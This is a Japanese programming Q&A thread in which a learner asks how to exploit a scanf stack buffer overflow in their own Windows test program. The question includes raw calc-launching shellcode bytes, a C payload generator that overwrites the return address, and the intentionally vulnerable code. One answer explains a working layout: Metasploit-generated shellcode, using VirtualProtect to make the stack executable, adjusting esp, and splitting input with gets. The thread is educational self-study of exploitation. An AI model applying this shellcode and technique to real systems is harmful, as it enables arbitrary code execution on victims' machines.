🎄teratailクリスマスプレゼントキャンペーン2024🎄』開催中!

\teratail特別グッズやAmazonギフトカード最大2,000円分が当たる!/

詳細はこちら
C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

シェルスクリプト

シェルスクリプトは、UNIX系のOSもしくはコマンドラインインタプリタ向けに記述されたスクリプト。bash/zshといったシェルによって実行されるため、このように呼ばれています。バッチ処理などに使用されており、テキストファイルに書かれた命令を順に実行します。

文字コード

文字コードとは、文字や記号をコンピュータ上で使用するために用いられるバイト表現を指します。

Q&A

2回答

4393閲覧

バッファオーバーフロー シェルコード配置の仕方・やり方

kazuyakazuya

総合スコア193

C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

シェルスクリプト

シェルスクリプトは、UNIX系のOSもしくはコマンドラインインタプリタ向けに記述されたスクリプト。bash/zshといったシェルによって実行されるため、このように呼ばれています。バッチ処理などに使用されており、テキストファイルに書かれた命令を順に実行します。

文字コード

文字コードとは、文字や記号をコンピュータ上で使用するために用いられるバイト表現を指します。

0グッド

1クリップ

投稿2019/10/21 03:04

編集2019/10/21 03:09

前回の質問
昨日の質問にてどさくさ紛れに
追記で質問したのですが、回答がつかないので改めて質問させていただきます。
やりたいこと

バッファオーバーフローを起こしてシェルコードを実行したい。
本来は"Hello World!"を出力するシェルコード
(厳密には違うという指摘をいただきましたがあえて、そう言わせてください。)
を作って使いたかったのですが
今の私の知識力では不可能と判断し、断念しました。

そこでシェルコード自体はどっかから持ってくることにしました。

電卓を起動するシェルコード
(動く前提で)

cmd

1\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF

これをバッファオーバーフローを起こしてスタックに配置しようと思います。

リターンアドレスとかも書き換えなければいけないので
エスケープシーケンスを考慮し、パイプを使って
脆弱性のあるプログラム(scanf関数)へ
流そうと思います。

以下脆弱性のあるプログラムへ流すプログラム

c

1int main(void) 2{ 3 for (int i = 0; i < 28; ++i) putchar(0x00);//バッファを溢れさせる。リターンアドレスまで28バイトあるから28バイト分0で埋める。 4 5//ここからリターンアドレス配置 28バイト目 6//シェルコードが置かれている場所のアドレスへ書き換える。 7 putchar(0x44); 8 putchar(0xF9); 9 putchar(0x2F); 10 putchar(0x01); 11//リターンアドレス配置終了 12 13//シェルコード配置 14  putchar(0xEF); 15 putchar(0xFF); 16 putchar(0xFF); 17 putchar(0x77); 18 putchar(0xE8); 19 putchar(0x73); 20 putchar(0xE2); 21//100行以上あります・・・ ひとつひとつ入れていく・・・ 22}

printf関数でもいけるかぁ?と思ってやってみたらだめだったのでputchar関数を使っています。他に方法があれば教えていただきたいです。
私が考えるこのときのスタック構造

(逆アセンブルする手もあるかもしれないが)

参考画像
イメージ説明

c

1        -------------------------------- 2         ローカル変数領域   ()000000000000・・・ 3           (溢れさせる。) 4        -------------------------------- 5 リターンアドレス   (例)004FFA30 6           (溢れさせたついでに書き換える。シェルコードの場所) 7        ------------------------------- 8 本来、関数引数が置かれているが、ここにシェルコードを配置 9 アドレス: 004FFA30       10        ------------------------------

うーむ、これでいけるのでしょうか?
というより、考え方はあっているのか?

脆弱性のあるコード

c

1#pragma warning(disable: 4996) 2#include <intrin.h> 3#include<stdio.h> 4#include <string.h> 5 6__declspec(safebuffers) int sample(int con); 7__declspec(safebuffers) int sub(int a); 8 9 10__declspec(safebuffers) int sample(int con) { 11 int (*func)(int a); 12 func = sub; 13 14 printf("sub関数のアドレス・・・%p\n", *func); 15 void* a = _ReturnAddress(); 16 printf("リターンアドレス・・・%p\n", a); 17 char moji[15]; 18 int* p; 19 p = (int*)moji; 20 int ebpofs; 21 int ebpofs2; 22 int* ebp; 23 ebp = &con; 24 25 unsigned* retaddr = (unsigned*)_AddressOfReturnAddress(); 26 unsigned* pp = retaddr - 1; 27 printf("保存されたebp:%p\n", *pp); 28 29 printf("ReturnAdress + 1:%p\n",p + 8); 30 scanf("%s", moji); 31 printf("%s\n", "ローカル変数"); 32 printf("%s\n", "ローカル変数 4バイト出力 16進数 0 80"); 33 34 for (ebpofs = 0; ebpofs < 80; ebpofs++) { 35 printf("addr:%p price:%x\n", p + ebpofs, p[ebpofs]); 36 } 37 38 printf("%s\n", "--------------------------------------------"); 39 printf("%s\n", "コマンド引数 4バイト入力 16進数 -5 40"); 40 for (ebpofs2 = -5; ebpofs2 < 40; ebpofs2++) { 41 printf("addr:%p price:%x\n", ebp + ebpofs2, ebp[ebpofs2]); 42 } 43 //リターンアドレス破壊4 44 void* b = _ReturnAddress(); 45 printf("return:%p\n", b); 46 printf("price:%x\n", p[13]); 47 //p[13] = (int)func; 48 //p[13] = ((p[13] >> 6) | (p[13] >> 9)) + 80485; 49 //printf("price:%x\n", p[13]); 50 void* c = _ReturnAddress(); 51 printf("return:%p\n", c); 52 // echo -e "a" | /mnt/c/Users/u16154/source/repos/ConsoleApplication7/Debug/ConsoleApplication7.exe 53 unsigned* retaddr2 = (unsigned*)_AddressOfReturnAddress(); 54 unsigned* pp2 = retaddr2 - 1; 55 printf("ebp:%p\n", *pp2); 56 return 0; 57} 58//52バイト 59//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 60 61__declspec(safebuffers) int main(int a) { 62 printf("%s","a"); 63 sample(8); 64 return 0; 65} 66 67 68__declspec(safebuffers) int sub(int a) { 69 printf("%s\n", "破壊成功!"); 70 return 0; 71} 72

リターンアドレスまでのバイト数、など図るため(効率悪いけど)
ごちゃごちゃしていますが
簡略化すると

c

1int main(void){ 2char sample[15]; 3scanf("%s",sample); 4return 0; 5} 6

こうなります。
実行すると・・・(aを入力)

cmd

1asub関数のアドレス・・・00DB12C6 2リターンアドレス・・・00DB1CEC 3保存されたebp:006FF9E8 4ReturnAdress + 1:006FF998//リターンアドレスが起これているアドレスから4バイト目を示す。 5a 6ローカル変数 7ローカル変数 4バイト出力 16進数 0 80 8addr:006FF978 price:f930061//ASCII aは16進数表現61 より、aがしっかり入っている。 9addr:006FF97C price:dbc002 10addr:006FF980 price:6ff9d4 11addr:006FF984 price:0 12addr:006FF988 price:db1cec 13addr:006FF98C price:db12c6 14addr:006FF990 price:6ff9e8 15addr:006FF994 price:db1cec//リターンアドレス 入力から28バイトある。 16addr:006FF998 price:8//ここにシェルコードを配置 17addr:006FF99C price:db1352 18addr:006FF9A0 price:db1352 19addr:006FF9A4 price:5b4000 20 21222324addr:006FFA14 price:db1352 25addr:006FFA18 price:db1352 26addr:006FFA1C price:5b4000 27addr:006FFA20 price:0 28addr:006FFA24 price:0 29addr:006FFA28 price:0 30addr:006FFA2C price:0 31addr:006FFA30 price:0 32addr:006FFA34 price:0 33return:00DB1CEC 34price:913e9c66 35return:00DB1CEC 36ebp:006FF9E8 37

前置きが長くなりましたが質問

質問1
そもそもの話

シェルコード配置の考え方は合っているのでしょうか?

私が考えるスタック想像図を描きましたが、それです。

リターンアドレスを書き換えた直後にシェルコードを配置しています。

リターンアドレスをシェルコードが置かれている先頭アドレスに。

質問2

cmd

1\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x39\x49\x8B\x34\x8B\x03\xF5\x33\xFF\x33\xC0\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE2\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA6\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x82\xFF\xFF\xFF\x53\x68\x7E\xD8\xE2\x73\xE8\x77\xFF\xFF\xFF

これをputcharに格納するとき(リトルエンディアンと仮定し)
どのように納めればいいのでしょうか?
私は後ろからやってみたのですが
いざやってみるとちょっと、いや全然違かったです。
(あの作業するだけで30分・・・)
どのように格納すればいいのでしょうか?

c

1\xFC\xEB\x67\x60\x33\xC0\x64\x8B\x40\x30

先頭らへんのここを例えて私がやったのは

c

1putchar(0x30); 2putchar(0x40); 3putchar(0x8B); 4putchar(0x64); 5・・・ 6 7putchar(0x67); 8putchar(0xEB); 9putchar(0xFC);

という感じです。

質問3
今の私の知識では判断できないのですが
そもそも、このシェルコード合っていますか?(エンディアンとかそういう話以前に)
また、シェルコードはどのようにぐぐったら出てきますか?
"windows10 シェルコード"
と調べても見た限り、今回紹介しているサイトくらいしか見つけりませんでした。
やっぱシェルコードという言葉自体だめなんでしょうか?(なら、ペイロード?)

分からないのでご教授お願いします。

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

guest

回答2

0

理論は知っていたが、実際にやったことはなかったので試しにやってみたので得た知見を備忘録代わりに述べさせていただきます。

今回使ったシェルコードは、Metasploit Frameworkで生成したメッセージボックスを表示するもの

まず、今回のscanfの脆弱性ひとつだと"\x00"を読めない問題があります。
そのため、リターンアドレス以後にコードを埋め込む事が不可能なので
構造としては、シェルコードが先頭に来て、リターンアドレスまでを埋めるダミー、最後にシェルコードのアドレスになります。
その際、シェルコードが100バイト以上あるため配列mojiの容量が足りません。
とりあえず1024バイトまで増やしてみました。

次に問題になるのがスタック領域が実行可能属性じゃないことです。
実験のためなので、sample関数内で

c

1VirtualProtect( 2 (uintptr_t) moji, 3 sizeof(moji), 4 PAGE_EXECUTE_READWRITE, 5 &ebpofs // 正直何でもよかったのですが空いてたのでリサイクル 6 );

を行うことにしました。

最後に問題になったのが、シェルコード実行中にシェルコードが書き換えられてしまうことでした。
espがシェルコード領域のアドレスよりも大きいことが問題だったため
シェルコード先頭にespの減算処理を加えました。

まずは、問題1と問題3を避けるためにも

c

1char code[1024]; 2void bof(){ 3 char b[15]; 4 int buf; 5 gets(code); 6 gets(b); 7}

のように、シェルコードの読み込みとリターンアドレス書き換えを分けた方が楽かと思います。

投稿2019/10/27 04:49

編集2019/10/27 21:35
asm

総合スコア15149

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

kazuyakazuya

2019/10/27 21:33

ありがとうございます。
kazuyakazuya

2019/10/31 06:58

シェルコードは環境変数に入れてしまおうと思います。 それが一番難易度が低そうですし。。。
asm

2019/10/31 07:29

まぁ、低いかどうかは私からはなんとも言い難いですね。 以前「ソースコードを環境変数に」とおっしゃってたように記憶していますが、 ソースコードを置いてもどうしようもなくてちゃんとアセンブラを通した機械語を置かないと意味がありませんよ。 くらいのアドバイスしかできません。
guest

0

こういう場合に実行させるにはC言語ではダメです
アセンブラを使う必要があります。

#で、シェルコードってのはなにかわかったんでしょうか

投稿2019/10/21 03:37

y_waiwai

総合スコア88040

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

kazuyakazuya

2019/10/21 03:48

回答ありがとうございます。 #で、シェルコードってのはなにかわかったんでしょうか →正直理解できているかって言われたらできていません。 まだ、直接触ったこともないので、なんとも・・・ ただ概念(?)的に言うならば ・機械語で書かれている  ・CUPに渡して直接渡すことができる ・シェルを起動する(シェルコードという定義的に) ・ペイロード 突っ込みどころ満載(?)かもしれませんが 今の私の知識で考えてもややこしくなるだけなので とりあえずこう思うことにしました。
kazuyakazuya

2019/10/21 03:51

こういう場合に実行させるにはC言語ではダメです →なぜでしょうか? いずれにしろまた質問することになると思うので
y_waiwai

2019/10/21 03:53

目標としてはスタックエリアにコードを配置して実行させたいってことでしょう。 C言語で生成すると実行ファイルになるけど、こいつは実行アドレスってのが決められてるんで、そういうところに配置して実行はできません ここで求められるのは、どこかわからないアドレスに配置しても実行できるコードです。 そゆのはアセンブラしかできません。 ということで、アセンブラを勉強して、それが使えるようになりましょうw
kazuyakazuya

2019/10/21 03:59 編集

うーん、アセンブリ言語避けて通れない壁みたいですね~・・・ あ、そうだ http://www.intellilink.co.jp/article/column/ctf01.html 昨日も提示したと思うのですが こちらのサイトでは リターンアドレスにシェルコードを配置したアドレスに 書き換える・・・と書いてありますが ん?これってどういうことなのでしょうか? リターンアドレスで指定しなくとも できるってことは・・・?
y_waiwai

2019/10/21 04:09

アセンブラ、というか機械語を扱えるようになるってのは最低条件です これができない時点で寝物語でしかありません それができるようになってから出直しましょう #そのアドレスに「シェルコード」なるものをどうやって配置するんだとw
kazuyakazuya

2019/10/21 04:12

#そのアドレスに「シェルコード」なるものをどうやって配置するんだとw →???
y_waiwai

2019/10/21 04:13

> リターンアドレスにシェルコードを配置したアドレスに書き換える・・・と書いてありますが あなたが書いてることですよ
kazuyakazuya

2019/10/21 04:14

あ、そういうことですね。 私みたいな初心者にわかりやすいような表現をして のせているのだと思いますが それにしてもリターンアドレスにシェルコードのアドレス を設置するとはどういうことでしょう?
kazuyakazuya

2019/10/21 04:15

あ、私?リンク先のサイトのことだと思っていました。
Zuishin

2019/10/21 04:44 編集

関数を呼び出す時にはリターンアドレスがスタックに積まれます。そしてそれより若いアドレスにローカル変数が積まれます。つまりローカル変数を溢れさせれば溢れたデータがスタックの内容を書き換えます。要するにリターンアドレスを書き換えることができます。リターンアドレスのあった場所にシェルコードのアドレスを書いておけばシェルコードにリターンすることになります。 アセンブラは必要ありません。C だけでできます。 ただしシェルコードが大きすぎると狙った位置を書き換えることができません。コンパイル結果から抽出するよりアセンブラで作る方が簡単かもしれません。
kazuyakazuya

2019/10/21 04:35

やっぱり、今回の前提で言うならば リターンアドレスを書き換えないと シェルコードは実行できませんよね。 (アセンブリはちょっとわからないけど)
kazuyakazuya

2019/10/21 04:54

あぁ・・・そういった意味でアセンブラが必要になるのですね。
guest

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

まだベストアンサーが選ばれていません

会員登録して回答してみよう

アカウントをお持ちの方は

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.36%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問